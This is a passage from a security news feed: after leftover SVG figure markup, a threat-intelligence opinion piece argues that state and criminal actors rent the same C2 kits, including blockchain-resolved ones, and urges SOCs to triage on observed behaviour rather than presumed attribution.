<text text-anchor="middle" x="224" y="148" fill="currentColor">H</text>
<text text-anchor="middle" x="224" y="164" fill="currentColor">H</text>
<text text-anchor="middle" x="224" y="180" fill="currentColor">V</text>
<text text-anchor="middle" x="224" y="196" fill="currentColor">g</text>
<text text-anchor="middle" x="224" y="212" fill="currentColor">6</text>
<text text-anchor="middle" x="224" y="228" fill="currentColor">4</text>
<text text-anchor="middle" x="224" y="244" fill="currentColor">2</text>
<text text-anchor="middle" x="224" y="276" fill="currentColor">.</text>
<text text-anchor="middle" x="224" y="292" fill="currentColor">b</text>
<text text-anchor="middle" x="224" y="324" fill="currentColor">e</text>
<text text-anchor="middle" x="224" y="340" fill="currentColor">e</text>
<text text-anchor="middle" x="232" y="20" fill="currentColor">c</text>
<text text-anchor="middle" x="232" y="100" fill="currentColor">e</text>
<text text-anchor="middle" x="232" y="116" fill="currentColor">t</text>
<text text-anchor="middle" x="232" y="132" fill="currentColor">r</text>
<text text-anchor="middle" x="232" y="148" fill="currentColor">A</text>
<text text-anchor="middle" x="232" y="164" fill="currentColor">A</text>
<text text-anchor="middle" x="232" y="180" fill="currentColor">1</text>
<text text-anchor="middle" x="232" y="196" fill="currentColor">f</text>
<text text-anchor="middle" x="232" y="276" fill="currentColor">1</text>
<text text-anchor="middle" x="232" y="292" fill="currentColor">c</text>
<text text-anchor="middle" x="232" y="308" fill="currentColor">b</text>
<text text-anchor="middle" x="232" y="324" fill="currentColor">d</text>
<text text-anchor="middle" x="232" y="340" fill="currentColor">r</text>
<text text-anchor="middle" x="240" y="20" fill="currentColor">s</text>
<text text-anchor="middle" x="240" y="100" fill="currentColor">n</text>
<text text-anchor="middle" x="240" y="116" fill="currentColor">e</text>
<text text-anchor="middle" x="240" y="132" fill="currentColor">i</text>
<text text-anchor="middle" x="240" y="148" fill="currentColor">_</text>
<text text-anchor="middle" x="240" y="164" fill="currentColor">_</text>
<text text-anchor="middle" x="240" y="180" fill="currentColor">_</text>
<text text-anchor="middle" x="240" y="196" fill="currentColor">:</text>
<text text-anchor="middle" x="240" y="212" fill="currentColor">b</text>
<text text-anchor="middle" x="240" y="228" fill="currentColor">b</text>
<text text-anchor="middle" x="240" y="244" fill="currentColor">b</text>
<text text-anchor="middle" x="240" y="276" fill="currentColor">1</text>
<text text-anchor="middle" x="240" y="308" fill="currentColor">y</text>
<text text-anchor="middle" x="240" y="324" fill="currentColor">C</text>
<text text-anchor="middle" x="240" y="340" fill="currentColor">t</text>
<text text-anchor="middle" x="248" y="20" fill="currentColor">7</text>
<text text-anchor="middle" x="248" y="100" fill="currentColor">t</text>
<text text-anchor="middle" x="248" y="116" fill="currentColor">s</text>
<text text-anchor="middle" x="248" y="132" fill="currentColor">t</text>
<text text-anchor="middle" x="248" y="148" fill="currentColor">2</text>
<text text-anchor="middle" x="248" y="164" fill="currentColor">1</text>
<text text-anchor="middle" x="248" y="180" fill="currentColor">5</text>
<text text-anchor="middle" x="248" y="212" fill="currentColor">y</text>
<text text-anchor="middle" x="248" y="228" fill="currentColor">y</text>
<text text-anchor="middle" x="248" y="244" fill="currentColor">y</text>
<text text-anchor="middle" x="248" y="276" fill="currentColor">3</text>
<text text-anchor="middle" x="248" y="308" fill="currentColor">t</text>
<text text-anchor="middle" x="248" y="324" fill="currentColor">o</text>
<text text-anchor="middle" x="248" y="340" fill="currentColor">e</text>
<text text-anchor="middle" x="256" y="20" fill="currentColor">-</text>
<text text-anchor="middle" x="256" y="100" fill="currentColor">i</text>
<text text-anchor="middle" x="256" y="116" fill="currentColor">t</text>
<text text-anchor="middle" x="256" y="132" fill="currentColor">h</text>
<text text-anchor="middle" x="256" y="148" fill="currentColor">5</text>
<text text-anchor="middle" x="256" y="196" fill="currentColor">M</text>
<text text-anchor="middle" x="256" y="212" fill="currentColor">t</text>
<text text-anchor="middle" x="256" y="228" fill="currentColor">t</text>
<text text-anchor="middle" x="256" y="244" fill="currentColor">t</text>
<text text-anchor="middle" x="256" y="276" fill="currentColor">5</text>
<text text-anchor="middle" x="256" y="308" fill="currentColor">e</text>
<text text-anchor="middle" x="256" y="324" fill="currentColor">n</text>
<text text-anchor="middle" x="256" y="340" fill="currentColor">x</text>
<text text-anchor="middle" x="264" y="20" fill="currentColor">e</text>
<text text-anchor="middle" x="264" y="100" fill="currentColor">f</text>
<text text-anchor="middle" x="264" y="116" fill="currentColor">a</text>
<text text-anchor="middle" x="264" y="132" fill="currentColor">m</text>
<text text-anchor="middle" x="264" y="148" fill="currentColor">6</text>
<text text-anchor="middle" x="264" y="196" fill="currentColor">G</text>
<text text-anchor="middle" x="264" y="212" fill="currentColor">e</text>
<text text-anchor="middle" x="264" y="228" fill="currentColor">e</text>
<text text-anchor="middle" x="264" y="244" fill="currentColor">e</text>
<text text-anchor="middle" x="264" y="276" fill="currentColor">4</text>
<text text-anchor="middle" x="264" y="308" fill="currentColor">s</text>
<text text-anchor="middle" x="264" y="324" fill="currentColor">t</text>
<text text-anchor="middle" x="264" y="340" fill="currentColor">t</text>
<text text-anchor="middle" x="272" y="20" fill="currentColor">n</text>
<text text-anchor="middle" x="272" y="100" fill="currentColor">i</text>
<text text-anchor="middle" x="272" y="116" fill="currentColor">t</text>
<text text-anchor="middle" x="272" y="196" fill="currentColor">F</text>
<text text-anchor="middle" x="272" y="212" fill="currentColor">s</text>
<text text-anchor="middle" x="272" y="228" fill="currentColor">s</text>
<text text-anchor="middle" x="272" y="244" fill="currentColor">s</text>
<text text-anchor="middle" x="272" y="276" fill="currentColor">9</text>
<text text-anchor="middle" x="272" y="324" fill="currentColor">e</text>
<text text-anchor="middle" x="280" y="20" fill="currentColor">v</text>
<text text-anchor="middle" x="280" y="100" fill="currentColor">e</text>
<text text-anchor="middle" x="280" y="116" fill="currentColor">i</text>
<text text-anchor="middle" x="280" y="164" fill="currentColor">(</text>
<text text-anchor="middle" x="280" y="180" fill="currentColor">(</text>
<text text-anchor="middle" x="280" y="196" fill="currentColor">1</text>
<text text-anchor="middle" x="280" y="276" fill="currentColor">.</text>
<text text-anchor="middle" x="280" y="308" fill="currentColor">}</text>
<text text-anchor="middle" x="280" y="324" fill="currentColor">n</text>
<text text-anchor="middle" x="280" y="340" fill="currentColor">o</text>
<text text-anchor="middle" x="288" y="20" fill="currentColor">e</text>
<text text-anchor="middle" x="288" y="100" fill="currentColor">r</text>
<text text-anchor="middle" x="288" y="116" fill="currentColor">o</text>
<text text-anchor="middle" x="288" y="148" fill="currentColor">(</text>
<text text-anchor="middle" x="288" y="164" fill="currentColor">a</text>
<text text-anchor="middle" x="288" y="180" fill="currentColor">a</text>
<text text-anchor="middle" x="288" y="196" fill="currentColor">-</text>
<text text-anchor="middle" x="288" y="228" fill="currentColor">f</text>
<text text-anchor="middle" x="288" y="244" fill="currentColor">f</text>
<text text-anchor="middle" x="288" y="276" fill="currentColor">1</text>
<text text-anchor="middle" x="288" y="324" fill="currentColor">t</text>
<text text-anchor="middle" x="288" y="340" fill="currentColor">f</text>
<text text-anchor="middle" x="296" y="20" fill="currentColor">l</text>
<text text-anchor="middle" x="296" y="116" fill="currentColor">n</text>
<text text-anchor="middle" x="296" y="148" fill="currentColor">d</text>
<text text-anchor="middle" x="296" y="164" fill="currentColor">c</text>
<text text-anchor="middle" x="296" y="180" fill="currentColor">c</text>
<text text-anchor="middle" x="296" y="196" fill="currentColor">S</text>
<text text-anchor="middle" x="296" y="212" fill="currentColor">(</text>
<text text-anchor="middle" x="296" y="228" fill="currentColor">o</text>
<text text-anchor="middle" x="296" y="244" fill="currentColor">o</text>
<text text-anchor="middle" x="296" y="276" fill="currentColor">.</text>
<text text-anchor="middle" x="304" y="20" fill="currentColor">o</text>
<text text-anchor="middle" x="304" y="148" fill="currentColor">e</text>
<text text-anchor="middle" x="304" y="164" fill="currentColor">c</text>
<text text-anchor="middle" x="304" y="180" fill="currentColor">c</text>
<text text-anchor="middle" x="304" y="196" fill="currentColor">H</text>
<text text-anchor="middle" x="304" y="212" fill="currentColor">R</text>
<text text-anchor="middle" x="304" y="228" fill="currentColor">r</text>
<text text-anchor="middle" x="304" y="244" fill="currentColor">r</text>
<text text-anchor="middle" x="304" y="276" fill="currentColor">7</text>
<text text-anchor="middle" x="304" y="340" fill="currentColor">t</text>
<text text-anchor="middle" x="312" y="20" fill="currentColor">p</text>
<text text-anchor="middle" x="312" y="100" fill="currentColor">(</text>
<text text-anchor="middle" x="312" y="116" fill="currentColor">R</text>
<text text-anchor="middle" x="312" y="148" fill="currentColor">f</text>
<text text-anchor="middle" x="312" y="164" fill="currentColor">e</text>
<text text-anchor="middle" x="312" y="180" fill="currentColor">e</text>
<text text-anchor="middle" x="312" y="196" fill="currentColor">A</text>
<text text-anchor="middle" x="312" y="212" fill="currentColor">S</text>
<text text-anchor="middle" x="312" y="276" fill="currentColor">.</text>
<text text-anchor="middle" x="312" y="340" fill="currentColor">h</text>
<text text-anchor="middle" x="320" y="20" fill="currentColor">e</text>
<text text-anchor="middle" x="320" y="100" fill="currentColor">3</text>
<text text-anchor="middle" x="320" y="116" fill="currentColor">S</text>
<text text-anchor="middle" x="320" y="148" fill="currentColor">a</text>
<text text-anchor="middle" x="320" y="164" fill="currentColor">p</text>
<text text-anchor="middle" x="320" y="180" fill="currentColor">p</text>
<text text-anchor="middle" x="320" y="196" fill="currentColor">-</text>
<text text-anchor="middle" x="320" y="212" fill="currentColor">A</text>
<text text-anchor="middle" x="320" y="228" fill="currentColor">R</text>
<text text-anchor="middle" x="320" y="244" fill="currentColor">R</text>
<text text-anchor="middle" x="320" y="276" fill="currentColor">1</text>
<text text-anchor="middle" x="320" y="340" fill="currentColor">e</text>
<text text-anchor="middle" x="328" y="20" fill="currentColor">d</text>
<text text-anchor="middle" x="328" y="100" fill="currentColor">2</text>
<text text-anchor="middle" x="328" y="116" fill="currentColor">A</text>
<text text-anchor="middle" x="328" y="148" fill="currentColor">u</text>
<text text-anchor="middle" x="328" y="164" fill="currentColor">t</text>
<text text-anchor="middle" x="328" y="180" fill="currentColor">t</text>
<text text-anchor="middle" x="328" y="196" fill="currentColor">2</text>
<text text-anchor="middle" x="328" y="212" fill="currentColor">-</text>
<text text-anchor="middle" x="328" y="228" fill="currentColor">S</text>
<text text-anchor="middle" x="328" y="244" fill="currentColor">S</text>
<text text-anchor="middle" x="336" y="20" fill="currentColor">D</text>
<text text-anchor="middle" x="336" y="148" fill="currentColor">l</text>
<text text-anchor="middle" x="336" y="164" fill="currentColor">e</text>
<text text-anchor="middle" x="336" y="180" fill="currentColor">e</text>
<text text-anchor="middle" x="336" y="196" fill="currentColor">5</text>
<text text-anchor="middle" x="336" y="212" fill="currentColor">O</text>
<text text-anchor="middle" x="336" y="228" fill="currentColor">A</text>
<text text-anchor="middle" x="336" y="244" fill="currentColor">A</text>
<text text-anchor="middle" x="336" y="340" fill="currentColor">p</text>
<text text-anchor="middle" x="344" y="20" fill="currentColor">a</text>
<text text-anchor="middle" x="344" y="100" fill="currentColor">b</text>
<text text-anchor="middle" x="344" y="116" fill="currentColor">p</text>
<text text-anchor="middle" x="344" y="148" fill="currentColor">t</text>
<text text-anchor="middle" x="344" y="164" fill="currentColor">d</text>
<text text-anchor="middle" x="344" y="180" fill="currentColor">d</text>
<text text-anchor="middle" x="344" y="196" fill="currentColor">6</text>
<text text-anchor="middle" x="344" y="212" fill="currentColor">A</text>
<text text-anchor="middle" x="344" y="228" fill="currentColor">-</text>
<text text-anchor="middle" x="344" y="244" fill="currentColor">-</text>
<text text-anchor="middle" x="344" y="276" fill="currentColor">(</text>
<text text-anchor="middle" x="344" y="340" fill="currentColor">l</text>
<text text-anchor="middle" x="352" y="20" fill="currentColor">t</text>
<text text-anchor="middle" x="352" y="100" fill="currentColor">y</text>
<text text-anchor="middle" x="352" y="116" fill="currentColor">u</text>
<text text-anchor="middle" x="352" y="148" fill="currentColor">)</text>
<text text-anchor="middle" x="352" y="164" fill="currentColor">)</text>
<text text-anchor="middle" x="352" y="180" fill="currentColor">)</text>
<text text-anchor="middle" x="352" y="212" fill="currentColor">E</text>
<text text-anchor="middle" x="352" y="228" fill="currentColor">3</text>
<text text-anchor="middle" x="352" y="244" fill="currentColor">4</text>
<text text-anchor="middle" x="352" y="276" fill="currentColor">p</text>
<text text-anchor="middle" x="352" y="340" fill="currentColor">a</text>
<text text-anchor="middle" x="360" y="20" fill="currentColor">a</text>
<text text-anchor="middle" x="360" y="100" fill="currentColor">t</text>
<text text-anchor="middle" x="360" y="116" fill="currentColor">b</text>
<text text-anchor="middle" x="360" y="212" fill="currentColor">P</text>
<text text-anchor="middle" x="360" y="228" fill="currentColor">0</text>
<text text-anchor="middle" x="360" y="244" fill="currentColor">0</text>
<text text-anchor="middle" x="360" y="276" fill="currentColor">k</text>
<text text-anchor="middle" x="360" y="340" fill="currentColor">i</text>
<text text-anchor="middle" x="368" y="20" fill="currentColor">)</text>
<text text-anchor="middle" x="368" y="100" fill="currentColor">e</text>
<text text-anchor="middle" x="368" y="116" fill="currentColor">l</text>
<text text-anchor="middle" x="368" y="196" fill="currentColor">(</text>
<text text-anchor="middle" x="368" y="228" fill="currentColor">7</text>
<text text-anchor="middle" x="368" y="244" fill="currentColor">9</text>
<text text-anchor="middle" x="368" y="276" fill="currentColor">c</text>
<text text-anchor="middle" x="368" y="340" fill="currentColor">n</text>
<text text-anchor="middle" x="376" y="100" fill="currentColor">s</text>
<text text-anchor="middle" x="376" y="116" fill="currentColor">i</text>
<text text-anchor="middle" x="376" y="196" fill="currentColor">f</text>
<text text-anchor="middle" x="376" y="212" fill="currentColor">e</text>
<text text-anchor="middle" x="376" y="228" fill="currentColor">2</text>
<text text-anchor="middle" x="376" y="244" fill="currentColor">6</text>
<text text-anchor="middle" x="376" y="276" fill="currentColor">s</text>
<text text-anchor="middle" x="376" y="340" fill="currentColor">t</text>
<text text-anchor="middle" x="384" y="100" fill="currentColor">)</text>
<text text-anchor="middle" x="384" y="116" fill="currentColor">c</text>
<text text-anchor="middle" x="384" y="196" fill="currentColor">o</text>
<text text-anchor="middle" x="384" y="212" fill="currentColor">n</text>
<text text-anchor="middle" x="384" y="276" fill="currentColor">7</text>
<text text-anchor="middle" x="384" y="340" fill="currentColor">e</text>
<text text-anchor="middle" x="392" y="196" fill="currentColor">r</text>
<text text-anchor="middle" x="392" y="212" fill="currentColor">c</text>
<text text-anchor="middle" x="392" y="228" fill="currentColor">→</text>
<text text-anchor="middle" x="392" y="244" fill="currentColor">→</text>
<text text-anchor="middle" x="392" y="276" fill="currentColor">-</text>
<text text-anchor="middle" x="392" y="340" fill="currentColor">x</text>
<text text-anchor="middle" x="400" y="116" fill="currentColor">k</text>
<text text-anchor="middle" x="400" y="148" fill="currentColor">→</text>
<text text-anchor="middle" x="400" y="164" fill="currentColor">→</text>
<text text-anchor="middle" x="400" y="180" fill="currentColor">→</text>
<text text-anchor="middle" x="400" y="212" fill="currentColor">r</text>
<text text-anchor="middle" x="400" y="276" fill="currentColor">d</text>
<text text-anchor="middle" x="400" y="340" fill="currentColor">t</text>
<text text-anchor="middle" x="408" y="116" fill="currentColor">e</text>
<text text-anchor="middle" x="408" y="196" fill="currentColor">O</text>
<text text-anchor="middle" x="408" y="212" fill="currentColor">y</text>
<text text-anchor="middle" x="408" y="228" fill="currentColor">C</text>
<text text-anchor="middle" x="408" y="244" fill="currentColor">C</text>
<text text-anchor="middle" x="408" y="276" fill="currentColor">a</text>
<text text-anchor="middle" x="416" y="116" fill="currentColor">y</text>
<text text-anchor="middle" x="416" y="148" fill="currentColor">C</text>
<text text-anchor="middle" x="416" y="164" fill="currentColor">C</text>
<text text-anchor="middle" x="416" y="180" fill="currentColor">C</text>
<text text-anchor="middle" x="416" y="196" fill="currentColor">A</text>
<text text-anchor="middle" x="416" y="212" fill="currentColor">p</text>
<text text-anchor="middle" x="416" y="228" fill="currentColor">f</text>
<text text-anchor="middle" x="416" y="244" fill="currentColor">f</text>
<text text-anchor="middle" x="416" y="276" fill="currentColor">t</text>
<text text-anchor="middle" x="416" y="340" fill="currentColor">k</text>
<text text-anchor="middle" x="424" y="148" fill="currentColor">f</text>
<text text-anchor="middle" x="424" y="164" fill="currentColor">f</text>
<text text-anchor="middle" x="424" y="180" fill="currentColor">f</text>
<text text-anchor="middle" x="424" y="196" fill="currentColor">E</text>
<text text-anchor="middle" x="424" y="212" fill="currentColor">t</text>
<text text-anchor="middle" x="424" y="228" fill="currentColor">R</text>
<text text-anchor="middle" x="424" y="244" fill="currentColor">R</text>
<text text-anchor="middle" x="424" y="276" fill="currentColor">a</text>
<text text-anchor="middle" x="424" y="340" fill="currentColor">e</text>
<text text-anchor="middle" x="432" y="116" fill="currentColor">D</text>
<text text-anchor="middle" x="432" y="148" fill="currentColor">R</text>
<text text-anchor="middle" x="432" y="164" fill="currentColor">R</text>
<text text-anchor="middle" x="432" y="180" fill="currentColor">R</text>
<text text-anchor="middle" x="432" y="196" fill="currentColor">P</text>
<text text-anchor="middle" x="432" y="212" fill="currentColor">e</text>
<text text-anchor="middle" x="432" y="276" fill="currentColor">)</text>
<text text-anchor="middle" x="432" y="340" fill="currentColor">y</text>
<text text-anchor="middle" x="440" y="116" fill="currentColor">E</text>
<text text-anchor="middle" x="440" y="196" fill="currentColor">_</text>
<text text-anchor="middle" x="440" y="212" fill="currentColor">d</text>
<text text-anchor="middle" x="440" y="228" fill="currentColor">=</text>
<text text-anchor="middle" x="440" y="244" fill="currentColor">=</text>
<text text-anchor="middle" x="448" y="116" fill="currentColor">R</text>
<text text-anchor="middle" x="448" y="148" fill="currentColor">=</text>
<text text-anchor="middle" x="448" y="164" fill="currentColor">=</text>
<text text-anchor="middle" x="448" y="180" fill="currentColor">=</text>
<text text-anchor="middle" x="448" y="196" fill="currentColor">S</text>
<text text-anchor="middle" x="448" y="340" fill="currentColor">m</text>
<text text-anchor="middle" x="456" y="116" fill="currentColor">)</text>
<text text-anchor="middle" x="456" y="196" fill="currentColor">H</text>
<text text-anchor="middle" x="456" y="212" fill="currentColor">C</text>
<text text-anchor="middle" x="456" y="228" fill="currentColor">6</text>
<text text-anchor="middle" x="456" y="244" fill="currentColor">7</text>
<text text-anchor="middle" x="456" y="340" fill="currentColor">a</text>
<text text-anchor="middle" x="464" y="148" fill="currentColor">4</text>
<text text-anchor="middle" x="464" y="164" fill="currentColor">4</text>
<text text-anchor="middle" x="464" y="180" fill="currentColor">4</text>
<text text-anchor="middle" x="464" y="196" fill="currentColor">A</text>
<text text-anchor="middle" x="464" y="212" fill="currentColor">E</text>
<text text-anchor="middle" x="464" y="228" fill="currentColor">2</text>
<text text-anchor="middle" x="464" y="244" fill="currentColor">4</text>
<text text-anchor="middle" x="464" y="340" fill="currentColor">t</text>
<text text-anchor="middle" x="472" y="148" fill="currentColor">9</text>
<text text-anchor="middle" x="472" y="164" fill="currentColor">4</text>
<text text-anchor="middle" x="472" y="180" fill="currentColor">4</text>
<text text-anchor="middle" x="472" y="196" fill="currentColor">_</text>
<text text-anchor="middle" x="472" y="212" fill="currentColor">K</text>
<text text-anchor="middle" x="472" y="228" fill="currentColor">1</text>
<text text-anchor="middle" x="472" y="244" fill="currentColor">9</text>
<text text-anchor="middle" x="472" y="340" fill="currentColor">e</text>
<text text-anchor="middle" x="480" y="116" fill="currentColor">←</text>
<text text-anchor="middle" x="480" y="148" fill="currentColor">3</text>
<text text-anchor="middle" x="480" y="164" fill="currentColor">6</text>
<text text-anchor="middle" x="480" y="180" fill="currentColor">4</text>
<text text-anchor="middle" x="480" y="196" fill="currentColor">2</text>
<text text-anchor="middle" x="480" y="212" fill="currentColor">)</text>
<text text-anchor="middle" x="480" y="228" fill="currentColor">B</text>
<text text-anchor="middle" x="480" y="244" fill="currentColor">B</text>
<text text-anchor="middle" x="480" y="340" fill="currentColor">r</text>
<text text-anchor="middle" x="488" y="148" fill="currentColor">B</text>
<text text-anchor="middle" x="488" y="164" fill="currentColor">B</text>
<text text-anchor="middle" x="488" y="180" fill="currentColor">B</text>
<text text-anchor="middle" x="488" y="196" fill="currentColor">5</text>
<text text-anchor="middle" x="488" y="340" fill="currentColor">i</text>
<text text-anchor="middle" x="496" y="116" fill="currentColor">v</text>
<text text-anchor="middle" x="496" y="196" fill="currentColor">6</text>
<text text-anchor="middle" x="496" y="340" fill="currentColor">a</text>
<text text-anchor="middle" x="504" y="116" fill="currentColor">e</text>
<text text-anchor="middle" x="504" y="148" fill="currentColor">w</text>
<text text-anchor="middle" x="504" y="164" fill="currentColor">w</text>
<text text-anchor="middle" x="504" y="180" fill="currentColor">w</text>
<text text-anchor="middle" x="504" y="196" fill="currentColor">)</text>
<text text-anchor="middle" x="504" y="340" fill="currentColor">l</text>
<text text-anchor="middle" x="512" y="116" fill="currentColor">r</text>
<text text-anchor="middle" x="512" y="148" fill="currentColor">/</text>
<text text-anchor="middle" x="512" y="164" fill="currentColor">/</text>
<text text-anchor="middle" x="512" y="180" fill="currentColor">/</text>
<text text-anchor="middle" x="520" y="116" fill="currentColor">i</text>
<text text-anchor="middle" x="528" y="116" fill="currentColor">f</text>
<text text-anchor="middle" x="528" y="148" fill="currentColor">R</text>
<text text-anchor="middle" x="528" y="164" fill="currentColor">R</text>
<text text-anchor="middle" x="528" y="180" fill="currentColor">R</text>
<text text-anchor="middle" x="536" y="116" fill="currentColor">i</text>
<text text-anchor="middle" x="536" y="148" fill="currentColor">S</text>
<text text-anchor="middle" x="536" y="164" fill="currentColor">S</text>
<text text-anchor="middle" x="536" y="180" fill="currentColor">S</text>
<text text-anchor="middle" x="544" y="116" fill="currentColor">e</text>
<text text-anchor="middle" x="544" y="148" fill="currentColor">A</text>
<text text-anchor="middle" x="544" y="164" fill="currentColor">A</text>
<text text-anchor="middle" x="544" y="180" fill="currentColor">A</text>
<text text-anchor="middle" x="552" y="116" fill="currentColor">d</text>
<text text-anchor="middle" x="552" y="148" fill="currentColor">-</text>
<text text-anchor="middle" x="552" y="164" fill="currentColor">-</text>
<text text-anchor="middle" x="552" y="180" fill="currentColor">-</text>
<text text-anchor="middle" x="560" y="148" fill="currentColor">2</text>
<text text-anchor="middle" x="560" y="164" fill="currentColor">2</text>
<text text-anchor="middle" x="560" y="180" fill="currentColor">2</text>
<text text-anchor="middle" x="568" y="148" fill="currentColor">0</text>
<text text-anchor="middle" x="568" y="164" fill="currentColor">0</text>
<text text-anchor="middle" x="568" y="180" fill="currentColor">0</text>
<text text-anchor="middle" x="576" y="148" fill="currentColor">4</text>
<text text-anchor="middle" x="576" y="164" fill="currentColor">4</text>
<text text-anchor="middle" x="576" y="180" fill="currentColor">4</text>
<text text-anchor="middle" x="584" y="148" fill="currentColor">8</text>
<text text-anchor="middle" x="584" y="164" fill="currentColor">8</text>
<text text-anchor="middle" x="584" y="180" fill="currentColor">8</text>
</g>

 </svg>
 
</div>
<figcaption><span>Figure 13: KMS CiphertextForRecipient. Note the use of AES-CBC.</span></figcaption></figure>]]></content:encoded>
</item>
<item>
<title><![CDATA[One C2 kit. 30 customers. 2 governments]]></title>
<description><![CDATA[I was mapping the command-and-control infrastructure behind a state-linked intrusion set when the query came back and effectively ended the exercise I thought I was running.



The malware resolved its C2 address by reading a smart contract on a public blockchain. Public reporting described one c...]]></description>
<link>https://tsecurity.de/de/3705501/it-security-nachrichten/one-c2-kit-30-customers-2-governments/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3705501/it-security-nachrichten/one-c2-kit-30-customers-2-governments/</guid>
<pubDate>Wed, 05 Aug 2026 12:19:02 +0200</pubDate>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">I was mapping the command-and-control infrastructure behind a state-linked intrusion set when the query came back and effectively ended the exercise I thought I was running.</p>



<p class="wp-block-paragraph">The malware resolved its C2 address by reading a smart contract on a public blockchain. Public reporting described one contract. Working from the chain rather than the sample, I found that contract was one member of a family: Two dozen byte-identical contracts plus a set of variants, all emitting the same event, all stamped out by the same builder. Roughly 30 operator wallets were driving them.</p>



<p class="wp-block-paragraph">Two of those wallets are plausibly state-aligned. The other 28 or so look like ordinary crimeware.</p>



<p class="wp-block-paragraph">I went in looking for an actor’s infrastructure. What I found was a product with a customer list.</p>



<p class="wp-block-paragraph">The convergence story is well covered by now, and CSO has already written about nation-state actors hiding behind criminal tooling. Most of that reporting frames it behaviorally: States are acting like crooks, running ransomware, taking payment. That’s true and it isn’t the part that changes my working day. The narrower thing I keep hitting in casework is structural. State programs aren’t building the infrastructure they run on; they’re renting it, and once you internalize that, several things your SOC does every day stop making sense.</p>



<h2 class="wp-block-heading">What a shared kit does to your indicators</h2>



<p class="wp-block-paragraph">Start with that ratio, because it’s the whole argument. A state program and roughly 28 unrelated criminal operators were running the same C2 kit, from the same builder, on the same infrastructure pattern. Any fingerprint I write for that kit fires on all 30 of them and tells you nothing about which one is in your network.</p>



<p class="wp-block-paragraph">That inverts how most of us were trained to think. A shared kit isn’t a weak attribution signal; it’s an anti-signal. It pools unrelated actors under a single indicator. The more distinctive the fingerprint, the more confidently it groups people who have nothing to do with each other.</p>



<p class="wp-block-paragraph">The defensible read is a shared supplier with independent customers. Two government programs and a few dozen crooks sourced C2 tradecraft from the same criminal market, the way they might all buy the same commercial exploit. I want to be careful about the limits of that claim, because the data invites overreach. I make no operator-level attribution from the on-chain data at all. Nothing about a shared contract family implies the customers know each other, coordinate or share tasking. The nation-state labels attached to two of those wallets come from malware-family attribution done by other researchers on the implants riding the kit, not from anything I read off the contracts. The chain tells you there’s one builder and many buyers. It doesn’t tell you which buyers carry flags.</p>



<p class="wp-block-paragraph">The same shape keeps showing up in the malware itself. When I worked an Iranian-nexus botnet using that on-chain technique, the tooling turned out to be a Russian-origin criminal service the actor had adopted rather than invented. That’s worth sitting with: A state intelligence service outsourced its C2 layer to a criminal vendor. On several China-nexus loader teardowns I’ve done, I’ve had to hold attribution at low confidence for the same structural reason. Side-loading chains and stock Cobalt Strike are communal property, shared across state and criminal operators alike. In one case the entire payload was off-the-shelf Cobalt Strike. There is nothing in that binary that can tell you who sent it, and any analyst claiming otherwise is reading tea leaves.</p>



<h2 class="wp-block-heading">The same pattern, from three other directions</h2>



<p class="wp-block-paragraph">I only see my own casework, so it’s worth noting that researchers coming at this from completely different angles land in the same place.</p>



<p class="wp-block-paragraph">Mandiant approached it from the network side, documenting how China-nexus actors route operations through <a href="https://cloud.google.com/blog/topics/threat-intelligence/china-nexus-espionage-orb-networks">contractor-run relay networks</a> that undermine the whole concept of actor-controlled infrastructure. Their point about indicator lifespan is the one defenders should sit with: A node’s IP address can cycle out in about a month, so any blocklist built on it is decaying before you finish writing the ticket.</p>



<p class="wp-block-paragraph">Russia gets there by a different route again. Microsoft and Lumen documented Turla, an FSB-linked group, <a href="https://www.microsoft.com/en-us/security/blog/2024/12/11/frequent-freeloader-part-ii-russian-actor-secret-blizzard-using-tools-of-other-groups-to-attack-ukraine/">riding other actors’ infrastructure outright</a>, including commodity Amadey bots, to deliver its own backdoors onto Ukrainian military targets. The detail I find clarifying is that their analysts couldn’t determine whether Turla had paid for the access or simply broken into the criminal panels. When the pros can’t tell purchase from theft, the idea that you’ll infer nationality from infrastructure is finished.</p>



<p class="wp-block-paragraph">Iran shows up on both sides of the market. CISA, the FBI and DC3 documented an Iranian state-linked group <a href="https://www.cisa.gov/news-events/cybersecurity-advisories/aa24-241a">working the criminal underground as an access broker</a>, selling footholds to ransomware affiliates for a cut and hiding its own nationality from its customers.</p>



<p class="wp-block-paragraph">The motives differ, and that’s the interesting part. Iran and North Korea buy, because sanctions leave them shopping in a market they don’t control. China subcontracts to a domestic industry that exists for the purpose. Russia mostly takes what it wants from actors already in the neighborhood. Four routes, one destination: There is no operator-owned infrastructure left for you to find.</p>



<h2 class="wp-block-heading">Why this breaks your triage, not just your attribution</h2>



<p class="wp-block-paragraph">Attribution is the part everyone talks about. Triage is the part that costs you money, and almost nobody has updated it.</p>



<p class="wp-block-paragraph">Most SOCs route severity partly on presumed actor, whether or not anyone wrote it down. Commodity infostealer on a workstation gets a tier-one ticket and a reimage. Suspected state activity gets escalated, gets the retainer call, gets the full hunt. That rule is reasonable, it’s close to universal and it rests on an assumption that no longer holds: That tooling correlates with actor.</p>



<p class="wp-block-paragraph">Watch what that assumption does. Amadey is textbook commodity crimeware, and in Ukraine it was the delivery vehicle for an FSB backdoor. Play ransomware is a criminal operation, and Unit 42 found a North Korean state group operating inside a Play incident. If your rule is “Amadey is commodity, close it,” you closed an intelligence service’s operation and filed it as adware.</p>



<p class="wp-block-paragraph">So, three changes, and none of them need new tooling.</p>



<p class="wp-block-paragraph">Sever severity from attribution. Triage on what the intrusion is doing, not on who you think owns it. Access, persistence, staging, exfiltration and impact are all observable in your telemetry. The operator’s nationality isn’t, certainly not at the moment you have to make the call. Commodity tooling must stop functioning as a de-escalation signal on a host that matters.</p>



<p class="wp-block-paragraph">Anchor detections on the durable constants rather than the infrastructure. Rented addresses rotate, relay nodes cycle monthly, on-chain C2 repoints for about the price of a coffee. What doesn’t move is the technical fingerprint of the kit: The event signature, a custom cipher’s modified constants, a specific side-load chain, a distinctive string table. Those survive rotation. Build there, and accept that the same rule will fire on a nation-state and a teenager both.</p>



<p class="wp-block-paragraph">Cap your confidence and put the number in writing. When tooling is communal, tooling-based attribution is worth low confidence at best. Say so in the report. An honest low is more useful than a confident guess, because people make decisions on what you write.</p>



<p class="wp-block-paragraph">The infrastructure was never going to tell you who they are. It isn’t theirs. Once you stop asking it that question, it becomes a much more useful piece of evidence.</p>



